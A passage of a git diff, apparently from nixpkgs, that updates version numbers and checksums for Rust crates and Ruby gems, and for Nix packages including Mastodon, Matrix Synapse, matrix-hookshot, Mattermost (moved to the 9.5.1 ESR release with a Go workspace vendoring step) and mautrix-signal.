0.22.2", "rustls-pemfile 2.0.0", "rustls-pki-types", "serde", @@ -6449,15 +6476,15 @@ dependencies = [ "tracing-journald", "tracing-opentelemetry", "tracing-subscriber", - "webpki-roots 0.26.0", + "webpki-roots 0.26.1", "x509-parser", ] [[package]] name = "uuid" -version = "1.6.1" +version = "1.7.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "5e395fcf16a7a3d8127ec99782007af141946b4795001f876d54fb0d55978560" +checksum = "f00cc9702ca12d3c81455259621e676d0f7251cec66a21e98fe2e9a37db93b2a" dependencies = [ "getrandom", ] @@ -6503,9 +6530,9 @@ checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" [[package]] name = "wasm-bindgen" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0ed0d4f68a3015cc185aff4db9506a015f4b96f95303897bfa23f846db54064e" +checksum = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f" dependencies = [ "cfg-if", "wasm-bindgen-macro", @@ -6513,24 +6540,24 @@ dependencies = [ [[package]] name = "wasm-bindgen-backend" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1b56f625e64f3a1084ded111c4d5f477df9f8c92df113852fa5a374dbda78826" +checksum = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b" dependencies = [ "bumpalo", "log", "once_cell", "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-futures" -version = "0.4.39" +version = "0.4.41" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "ac36a15a220124ac510204aec1c3e5db8a22ab06fd6706d881dc6149f8ed9a12" +checksum = "877b9c3f61ceea0e56331985743b13f3d25c406a7098d45180fb5f09bc19ed97" dependencies = [ "cfg-if", "js-sys", @@ -6540,9 +6567,9 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0162dbf37223cd2afce98f3d0785506dcb8d266223983e4b5b525859e6e182b2" +checksum = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed" dependencies = [ "quote", "wasm-bindgen-macro-support", @@ -6550,28 +6577,28 @@ dependencies = [ [[package]] name = "wasm-bindgen-macro-support" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "f0eb82fcb7930ae6219a7ecfd55b217f5f0893484b7a13022ebb2b2bf20b5283" +checksum = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", "wasm-bindgen-backend", "wasm-bindgen-shared", ] [[package]] name = "wasm-bindgen-shared" -version = "0.2.89" +version = "0.2.91" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "7ab9b36309365056cd639da3134bf87fa8f3d86008abf99e612384a6eecd459f" +checksum = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838" [[package]] name = "wasm-streams" -version = "0.3.0" +version = "0.4.0" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "b4609d447824375f43e1ffbc051b50ad8f4b3ae8219680c94452ea05eb240ac7" +checksum = "b65dc4c90b63b118468cf747d8bf3566c1913ef60be765b5730ead9e0a3ba129" dependencies = [ "futures-util", "js-sys", @@ -6582,9 +6609,9 @@ dependencies = [ [[package]] name = "web-sys" -version = "0.3.66" +version = "0.3.68" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "50c24a44ec86bb68fbecd1b3efed7e85ea5621b39b35ef2766b66cd984f8010f" +checksum = "96565907687f7aceb35bc5fc03770a8a0471d82e479f25832f54a0e3f4b28446" dependencies = [ "js-sys", "wasm-bindgen", @@ -6630,26 +6657,26 @@ dependencies = [ [[package]] name = "webpki-roots" -version = "0.25.3" +version = "0.25.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "1778a42e8b3b90bff8d0f5032bf22250792889a5cdc752aa0020c84abe3aaf10" +checksum = "5f20c57d8d7db6d3b86154206ae5d8fba62dd39573114de97c2cb0578251f8e1" [[package]] name = "webpki-roots" -version = "0.26.0" +version = "0.26.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "0de2cfda980f21be5a7ed2eadb3e6fe074d56022bea2cdeb1a62eb220fc04188" +checksum = "b3de34ae270483955a94f4b21bdaaeb83d508bb84a01435f393818edb0012009" dependencies = [ "rustls-pki-types", ] [[package]] name = "whatlang" -version = "0.16.3" +version = "0.16.4" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "dcdcd0195a5b871e50926da8e881277f36a4621b3220d85092e7b91cc85f6bd9" +checksum = "471d1c1645d361eb782a1650b1786a8fb58dd625e681a04c09f5ff7c8764a7b0" dependencies = [ - "hashbrown 0.12.3", + "hashbrown 0.14.3", "once_cell", ] @@ -6723,15 +6750,6 @@ dependencies = [ [[package]] name = "windows-sys" -version = "0.45.0" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "75283be5efb2831d37ea142365f009c02ec203cd29a3ebecbc093d52315b66d0" -dependencies = [ - "windows-targets 0.42.2", -] - -[[package]] -name = "windows-sys" version = "0.48.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" @@ -6750,21 +6768,6 @@ dependencies = [ [[package]] name = "windows-targets" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8e5180c00cd44c9b1c88adb3693291f1cd93605ded80c250a75d472756b4d071" -dependencies = [ - "windows_aarch64_gnullvm 0.42.2", - "windows_aarch64_msvc 0.42.2", - "windows_i686_gnu 0.42.2", - "windows_i686_msvc 0.42.2", - "windows_x86_64_gnu 0.42.2", - "windows_x86_64_gnullvm 0.42.2", - "windows_x86_64_msvc 0.42.2", -] - -[[package]] -name = "windows-targets" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" @@ -6795,12 +6798,6 @@ dependencies = [ [[package]] name = "windows_aarch64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" - -[[package]] -name = "windows_aarch64_gnullvm" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" @@ -6813,12 +6810,6 @@ checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" [[package]] name = "windows_aarch64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" - -[[package]] -name = "windows_aarch64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" @@ -6831,12 +6822,6 @@ checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" [[package]] name = "windows_i686_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" - -[[package]] -name = "windows_i686_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" @@ -6849,12 +6834,6 @@ checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" [[package]] name = "windows_i686_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" - -[[package]] -name = "windows_i686_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" @@ -6867,12 +6846,6 @@ checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" [[package]] name = "windows_x86_64_gnu" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" - -[[package]] -name = "windows_x86_64_gnu" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" @@ -6885,12 +6858,6 @@ checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" [[package]] name = "windows_x86_64_gnullvm" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" - -[[package]] -name = "windows_x86_64_gnullvm" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" @@ -6903,12 +6870,6 @@ checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" [[package]] name = "windows_x86_64_msvc" -version = "0.42.2" -source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" - -[[package]] -name = "windows_x86_64_msvc" version = "0.48.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" @@ -6921,9 +6882,9 @@ checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" [[package]] name = "winnow" -version = "0.5.32" +version = "0.5.40" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "8434aeec7b290e8da5c3f0d628cb0eac6cabcb31d14bb74f779a08109a5914d6" +checksum = "f593a95398737aeed53e489c785df13f3618e41dbcd6718c6addbf1395aa6876" dependencies = [ "memchr", ] @@ -6949,9 +6910,9 @@ dependencies = [ [[package]] name = "x25519-dalek" -version = "2.0.0" +version = "2.0.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "fb66477291e7e8d2b0ff1bcb900bf29489a9692816d79874bea351e7a8b6de96" +checksum = "c7e468321c81fb07fa7f4c636c3972b9100f0346e5b6a9f2bd0603a52f7ed277" dependencies = [ "curve25519-dalek", "rand_core", @@ -6977,9 +6938,9 @@ dependencies = [ [[package]] name = "xattr" -version = "1.2.0" +version = "1.3.1" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "914566e6413e7fa959cc394fb30e563ba80f3541fbd40816d4c05a0fc3f2a0f1" +checksum = "8da84f1a25939b27f6820d92aed108f83ff920fdf11a7b19366c27c4cda81d4f" dependencies = [ "libc", "linux-raw-sys", @@ -7024,7 +6985,7 @@ checksum = "9ce1b18ccd8e73a9321186f97e46f9f04b778851177567b1975109d26a08d2a6" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -7044,7 +7005,7 @@ checksum = "ce36e65b0d2999d2aafac989fb249189a141aee1f53c612c1f37d72631959f69" dependencies = [ "proc-macro2", "quote", - "syn 2.0.47", + "syn 2.0.48", ] [[package]] @@ -7069,9 +7030,9 @@ dependencies = [ [[package]] name = "zip-extract" -version = "0.1.2" +version = "0.1.3" source = "registry+https://github.com/rust-lang/crates.io-index" -checksum = "bb654964c003959ed64cbd0d7b329bcdcbd9690facd50c8617748d3622543972" +checksum = "e109e5a291403b4c1e514d39f8a22d3f98d257e691a52bb1f16051bb1ffed63e" dependencies = [ "log", "thiserror", diff --git a/pkgs/servers/mail/stalwart/default.nix b/pkgs/servers/mail/stalwart/default.nix index 0150434dcc1a6..096e600ba862f 100644 --- a/pkgs/servers/mail/stalwart/default.nix +++ b/pkgs/servers/mail/stalwart/default.nix @@ -14,7 +14,7 @@ }: let - version = "0.5.3"; + version = "0.6.0"; in rustPlatform.buildRustPackage { pname = "stalwart-mail"; @@ -24,7 +24,7 @@ rustPlatform.buildRustPackage { owner = "stalwartlabs"; repo = "mail-server"; rev = "v${version}"; - hash = "sha256-Fbw2f/Q5ZLnQi8PuxbdIxDIyDayhAzvzdn3LMexnWgA="; + hash = "sha256-OHwUWSUW6ovLQTxnuUrolQGhxbhp4YqKSH+ZTpe2WXc="; fetchSubmodules = true; }; diff --git a/pkgs/servers/mastodon/gemset.nix b/pkgs/servers/mastodon/gemset.nix index 7279f61bac72e..bc556d4f3673d 100644 --- a/pkgs/servers/mastodon/gemset.nix +++ b/pkgs/servers/mastodon/gemset.nix @@ -5,10 +5,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "117vxic67jnw6q637kmsb3ryj0x485295pz9a9y4z8xn9bdlsl0z"; + sha256 = "0j86qjs1zw34p0p7d5napa1vvwqlvm9nmv7ckxxhcba1qv4dspmw"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; actionmailbox = { dependencies = ["actionpack" "activejob" "activerecord" "activestorage" "activesupport" "mail" "net-imap" "net-pop" "net-smtp"]; @@ -16,10 +16,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1r8ldj2giaz8cn49qkdqn5zc29gbsr5ky4fg6r7ali0yh1xh684l"; + sha256 = "1f68h8cl6dqbz7mq3x43s0s82291nani3bz1hrxkk2qpgda23mw9"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; actionmailer = { dependencies = ["actionpack" "actionview" "activejob" "activesupport" "mail" "net-imap" "net-pop" "net-smtp" "rails-dom-testing"]; @@ -27,10 +27,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0w6gvj7ybniq89834hqww9rj2xypz9l91f8niwaws2yq1qklymr2"; + sha256 = "077j47jsg0wqwx5b13n4h0g3g409b6kfrlazpzgjpa3pal74f7sc"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; actionpack = { dependencies = ["actionview" "activesupport" "rack" "rack-test" "rails-dom-testing" "rails-html-sanitizer"]; @@ -38,10 +38,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1l319p0gipfgq8bp8dvbv97qqb72rad9zcqn5snhgv20cmpqr69b"; + sha256 = "0jh83rqd6glys1b2wsihzsln8yk6zdwgiyn9xncyiav9rcwjpkax"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; actiontext = { dependencies = ["actionpack" "activerecord" "activestorage" "activesupport" "globalid" "nokogiri"]; @@ -49,10 +49,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0i47r3n2m8qm002gx7c0lx1pv15pr2zy57dm8j38x960rsb655pp"; + sha256 = "044qi3zhzxlfq7slc2pb9ky9mdivp1m1sjyhjvnsi64ggq7cvr22"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; actionview = { dependencies = ["activesupport" "builder" "erubi" "rails-dom-testing" "rails-html-sanitizer"]; @@ -60,10 +60,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0xnpdwj1d8m6c2d90jp9cs50ggiz0jj02ls2h9lg68k4k8mnjbd2"; + sha256 = "1ygpg75f3ffdcbxvf7s14xw3hcjin1nnx1nk3mg9mj2xc1nb60aa"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; active_model_serializers = { dependencies = ["actionpack" "activemodel" "case_transform" "jsonapi-renderer"]; @@ -82,10 +82,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1cn1ic7ml75jm0c10s7cm5mvcgfnafj0kjvvjavpjcxgz6lxcqyb"; + sha256 = "0yql9v4cd1xbqgnzlf3cv4a6sm26v2y4gsgcbbfgvfc0hhlfjklg"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; activemodel = { dependencies = ["activesupport"]; @@ -93,10 +93,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "004w8zaz2g3y6lnrsvlcmljll0m3ndqpgwf0wfscgq6iysibiglm"; + sha256 = "0grdpvglh0cj96qhlxjj9bcfqkh13c1pfpcwc9ld3aw0yzvsw5a1"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; activerecord = { dependencies = ["activemodel" "activesupport"]; @@ -104,10 +104,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "04wavps80q3pvhvfbmi4gs102y1p6mxbg8xylzvib35b6m92adpj"; + sha256 = "0rlky1cr5kcdl0jad3nk5jpim6vjzbgkfhxnk7y492b3j2nznpcf"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; activestorage = { dependencies = ["actionpack" "activejob" "activerecord" "activesupport" "marcel" "mini_mime"]; @@ -115,10 +115,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0d6vm6alsp0g6f3548b615zxbz8l2wrmaikwgsf8kv11wf6swb4c"; + sha256 = "0f4g3589i5ii4gdfazv6d9rjinr16aarh6g12v8378ck7jll3mhz"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; activesupport = { dependencies = ["concurrent-ruby" "i18n" "minitest" "tzinfo"]; @@ -126,10 +126,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "188kbwkn1lbhz40ala8ykp20jzqphgc68g3d8flin8cqa2xid0s5"; + sha256 = "0ff3x7q400flzhml131ix8zfwmh13h70rs6yzbzf513g781gbbxh"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; addressable = { dependencies = ["public_suffix"]; @@ -694,10 +694,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "03skfikihpx37rc27vr3hwrb057gxnmdzxhmzd4bf4jpkl0r55w1"; + sha256 = "149jknsq999gnhy865n33fkk22s0r447k76x9pmcnnwldfv2q7wp"; type = "gem"; }; - version = "3.3.3"; + version = "3.3.4"; }; debug_inspector = { groups = ["default" "development"]; @@ -1609,10 +1609,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1p744kjpb5zk2ihklbykzii77alycjc04vpnm2ch2f3cp65imlj3"; + sha256 = "0d5p9vg2qkqfy60i93mpd3b25kw4bdxfai034y5a94pxp5fws61c"; type = "gem"; }; - version = "2.21.3"; + version = "2.21.4"; }; mail = { dependencies = ["mini_mime" "net-imap" "net-pop" "net-smtp"]; @@ -1828,10 +1828,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0dxckrlw4q1lcn3qg4mimmjazmg9bma5gllv72f8js3p36fb3b91"; + sha256 = "1a32l4x73hz200cm587bc29q8q9az278syw3x6fkc9d1lv5y0wxa"; type = "gem"; }; - version = "0.2.1"; + version = "0.2.2"; }; net-scp = { dependencies = ["net-ssh"]; @@ -1850,10 +1850,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1c6md06hm5bf6rv53sk54dl2vg038pg8kglwv3rayx0vk2mdql9x"; + sha256 = "0hwiqplhi29kfjl8jm0rhl51qv6wmxfynl4qap1dhv9xdwc4bm1x"; type = "gem"; }; - version = "0.3.3"; + version = "0.3.4"; }; net-ssh = { groups = ["default" "development"]; @@ -1891,13 +1891,11 @@ groups = ["default"]; platforms = []; source = { - fetchSubmodules = false; - rev = "e020fcc3a54d993ab45b7194d89ab720296c111b"; - sha256 = "18pbm9qkancy38v0gpb6f5k0xd8r347jl4xvj4jn98ihfhzgwygj"; - type = "git"; - url = "https://github.com/jhawthorn/nsa.git"; + remotes = ["https://rubygems.org"]; + sha256 = "1narh0bj0c9pg8cb2jhpydfa9mnm3dclckzk5s6xrwa2gm99hnk4"; + type = "gem"; }; - version = "0.2.8"; + version = "0.3.0"; }; oj = { groups = ["default"]; @@ -2065,10 +2063,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0pfj771p5a29yyyw58qacks464sl86d5m3jxjl5rlqqw2m3v5xq4"; + sha256 = "0s4vskbydg5k0z86v2g5drf03lslkr4b1l421vz29531jlrsljvy"; type = "gem"; }; - version = "1.5.4"; + version = "1.5.5"; }; pghero = { dependencies = ["activerecord"]; @@ -2180,10 +2178,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "15rdwbyk71c9nxvd527bvb8jxkcys8r3dj3vqra5b3sa63qs30vv"; + sha256 = "10mpk0hl6hnv324fp1pfimi2nw9acj0z4gyhrph36qg84pk1s4m7"; type = "gem"; }; - version = "2.2.8"; + version = "2.2.8.1"; }; rack-attack = { dependencies = ["rack"]; @@ -2257,10 +2255,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0rsqin156dawz7gzpy1ijs02afqcr4704vqj56s6yxng3a9ayhwf"; + sha256 = "1v9dp9sgh8kk32r23mj66zjni7w1dv2h7mbaxgmazsf59a43gsvx"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; rails-controller-testing = { dependencies = ["actionpack" "actionview" "activesupport"]; @@ -2325,10 +2323,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "0sfc16zrcn4jgf5xczb08n6prhmqqgg9f0b4mn73zlzg6cwmqchj"; + sha256 = "08ga56kz6a37dnlmi7y45r19fcc7jzb62mrc3ifavbzggmhy7r62"; type = "gem"; }; - version = "7.0.8"; + version = "7.0.8.1"; }; rainbow = { groups = ["default" "development"]; @@ -3045,10 +3043,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1d9cvm0f4zdpwa795v3zv4973y5zk59j7s1x3yn90jjrhcz1yvfd"; + sha256 = "16mvvsmx90023wrhf8dxc1lpqh0m8alk65shb7xcya6a9gflw7vg"; type = "gem"; }; - version = "0.4.0"; + version = "0.4.1"; }; tpm-key_attestation = { dependencies = ["bindata" "openssl" "openssl-signature_algorithm"]; @@ -3344,10 +3342,10 @@ platforms = []; source = { remotes = ["https://rubygems.org"]; - sha256 = "1mwdd445w63khz13hpv17m2br5xngyjl3jdj08xizjbm78i2zrxd"; + sha256 = "1m67qmsak3x8ixs8rb971azl3l7wapri65pmbf5z886h46q63f1d"; type = "gem"; }; - version = "2.6.11"; + version = "2.6.13"; }; } diff --git a/pkgs/servers/mastodon/source.nix b/pkgs/servers/mastodon/source.nix index bb1a11ac7e60a..13165c3405fb0 100644 --- a/pkgs/servers/mastodon/source.nix +++ b/pkgs/servers/mastodon/source.nix @@ -1,7 +1,7 @@ # This file was generated by pkgs.mastodon.updateScript. { fetchFromGitHub, applyPatches, patches ? [] }: let - version = "4.2.6"; + version = "4.2.8"; in ( applyPatches { @@ -9,7 +9,7 @@ in owner = "mastodon"; repo = "mastodon"; rev = "v${version}"; - hash = "sha256-xUJiyQN3xsl/8+D/kaky+iYunY0ctlSbjkftN2+NQNw="; + hash = "sha256-7/E7iHqJxmYSorXYti7h8EbP7wcOAaD04ToLeU2I/nY="; }; patches = patches ++ []; }) // { diff --git a/pkgs/servers/matrix-synapse/default.nix b/pkgs/servers/matrix-synapse/default.nix index 1cced1717ac99..2370dbc94349d 100644 --- a/pkgs/servers/matrix-synapse/default.nix +++ b/pkgs/servers/matrix-synapse/default.nix @@ -17,20 +17,20 @@ let in python3.pkgs.buildPythonApplication rec { pname = "matrix-synapse"; - version = "1.101.0"; + version = "1.102.0"; format = "pyproject"; src = fetchFromGitHub { owner = "element-hq"; repo = "synapse"; rev = "v${version}"; - hash = "sha256-yhOdIyKp+JM0qUl4dD1aMeYHNhE71DUDxrfCyRDP1VI="; + hash = "sha256-RJsuvNqqUiiVw6uKkG81rqo1ZoszUHK4UIJh8MReFqo="; }; cargoDeps = rustPlatform.fetchCargoTarball { inherit src; name = "${pname}-${version}"; - hash = "sha256-mWvcRNvCYf6WCKU/5LGJipOI032QFG90XpHTxFGs6TU="; + hash = "sha256-PoPJnSZ9QpcpVbqDMlqwgAqu0K8oornpihErLHXb6Gc="; }; postPatch = '' diff --git a/pkgs/servers/matrix-synapse/matrix-hookshot/package.json b/pkgs/servers/matrix-synapse/matrix-hookshot/package.json index 8d3204fa2b4f8..68f75d734bd7f 100644 --- a/pkgs/servers/matrix-synapse/matrix-hookshot/package.json +++ b/pkgs/servers/matrix-synapse/matrix-hookshot/package.json @@ -1,6 +1,6 @@ { "name": "matrix-hookshot", - "version": "5.1.2", + "version": "5.2.1", "description": "A bridge between Matrix and multiple project management services, such as GitHub, GitLab and JIRA.", "main": "lib/app.js", "repository": "https://github.com/matrix-org/matrix-hookshot", @@ -114,6 +114,6 @@ "ts-jest": "^29.1.1", "ts-node": "^10.9.1", "typescript": "^5.3.3", - "vite": "^5.0.10" + "vite": "^5.0.12" } } diff --git a/pkgs/servers/matrix-synapse/matrix-hookshot/pin.json b/pkgs/servers/matrix-synapse/matrix-hookshot/pin.json index 51dab75959ade..08607edb95055 100644 --- a/pkgs/servers/matrix-synapse/matrix-hookshot/pin.json +++ b/pkgs/servers/matrix-synapse/matrix-hookshot/pin.json @@ -1,6 +1,6 @@ { - "version": "5.1.2", - "srcHash": "sha256-dBuk/kpU5/GnwoTDh8FdnetK2hEBBTwrUA3fP/L9mWU=", - "yarnHash": "100lfm0pr0l33j1bl9zmw1s7fm4ihrwppyvq6x8ahx1sjrr1m0lp", - "cargoHash": "sha256-4cFhV5y7tqUZ4pQWQKIbOZ0qXo0ya5gnMizCNcxYZS0=" + "version": "5.2.1", + "srcHash": "sha256-yh8erXI1r9BqdJvEdk2WuBojXUK7VQf9bc4GQ2a2vIo=", + "yarnHash": "0nps2wbpkaivi9wb9zcqsrg77w9mm7inls9jqsx7xmyn4ashbs1p", + "cargoHash": "sha256-3euxhE9Y3N9bxo5S+l2mhYF575EoC/A5pH/mD+Ey86g=" } diff --git a/pkgs/servers/mattermost/default.nix b/pkgs/servers/mattermost/default.nix index 0b9a7a51da69a..c76dd152929c3 100644 --- a/pkgs/servers/mattermost/default.nix +++ b/pkgs/servers/mattermost/default.nix @@ -1,28 +1,48 @@ { lib , buildGoModule , fetchFromGitHub -, fetchpatch +, nix-update-script , fetchurl , nixosTests }: buildGoModule rec { pname = "mattermost"; - version = "8.1.7"; + # ESR releases only. + # See https://docs.mattermost.com/upgrade/extended-support-release.html + # When a new ESR version is available (e.g. 8.1.x -> 9.5.x), update + # the version regex in passthru.updateScript as well. + version = "9.5.1"; src = fetchFromGitHub { owner = "mattermost"; repo = "mattermost"; rev = "v${version}"; - hash = "sha256-ZpjdJ1Uck0kM+togUKpxRij8V0jQX+12Meks+L1Tc90="; - } + "/server"; + hash = "sha256-w+VF8VoS7oIcDlYS5kCFzSX4rgD9l1B99XBHeJDB6JI="; + }; + + # Needed because buildGoModule does not support go workspaces yet. + # We use go 1.22's workspace vendor command, which is not yet available + # in the default version of go used in nixpkgs, nor is it used by upstream: + # https://github.com/mattermost/mattermost/issues/26221#issuecomment-1945351597 + overrideModAttrs = (_: { + buildPhase = '' + make setup-go-work + go work vendor -e + ''; + }); webapp = fetchurl { url = "https://releases.mattermost.com/${version}/mattermost-${version}-linux-amd64.tar.gz"; - hash = "sha256-eORIoZLoxWdvuRlirJ7djBTgueIzlzIhRAoURy58zCA="; + hash = "sha256-F32NWulKUhoyHPCmCCih6Hb9+W2iuF/Mxy9USrgp1pM="; }; - vendorHash = "sha256-RPnCAxksKppsjVtZYhwcoJuAmMJ85AstuoBFChKwAOk="; + vendorHash = "sha256-TJCtgNf56A1U0EbV5gXjTro+YudVBRWiSZoBC3nJxnE="; + + modRoot = "./server"; + preBuild = '' + make setup-go-work + ''; subPackages = [ "cmd/mattermost" ]; @@ -47,7 +67,12 @@ buildGoModule rec { find $out/{client,i18n,fonts,templates,config} -type f -exec chmod -x {} \; ''; - passthru.tests.mattermost = nixosTests.mattermost; + passthru = { + updateScript = nix-update-script { + extraArgs = [ "--version-regex" "^v(9\.5\.([0-9.]+))" ]; + }; + tests.mattermost = nixosTests.mattermost; + }; meta = with lib; { description = "Mattermost is an open source platform for secure collaboration across the entire software development lifecycle"; diff --git a/pkgs/servers/mautrix-signal/default.nix b/pkgs/servers/mautrix-signal/default.nix index ce07debc24a8b..f45b687acaed1 100644 --- a/pkgs/servers/mautrix-signal/default.nix +++ b/pkgs/servers/mautrix-signal/default.nix @@ -1,18 +1,14 @@ { lib, buildGoModule, fetchFromGitHub, olm, libsignal-ffi }: -buildGoModule { +buildGoModule rec { pname = "mautrix-signal"; - # mautrix-signal's latest released version v0.4.3 still uses the Python codebase - # which is broken for new devices, see https://github.com/mautrix/signal/issues/388. - # The new Go version fixes this by using the official libsignal as a library and - # can be upgraded to directly from the Python version. - version = "unstable-2024-01-31"; + version = "0.5.0"; src = fetchFromGitHub { owner = "mautrix"; repo = "signal"; - rev = "103666990f30a692c63dd84a499b0dd390cef8a4"; - hash = "sha256-UttLMI+jX5PNG02vs7Dty8pxdko2aM0sVB/90eWwmYw="; + rev = "v${version}"; + hash = "sha256-qlWp9SnS8dWZNAua9HOyOrQwBXQFaaWB3eP9aCGlDFc="; }; buildInputs = [ @@ -22,7 +18,7 @@ buildGoModule { libsignal-ffi ]; - vendorHash = "sha256-LKs/9yCJ7alKQh1VYQsPEg7y+ugZwUnnJh2l4IEjbaQ="; + 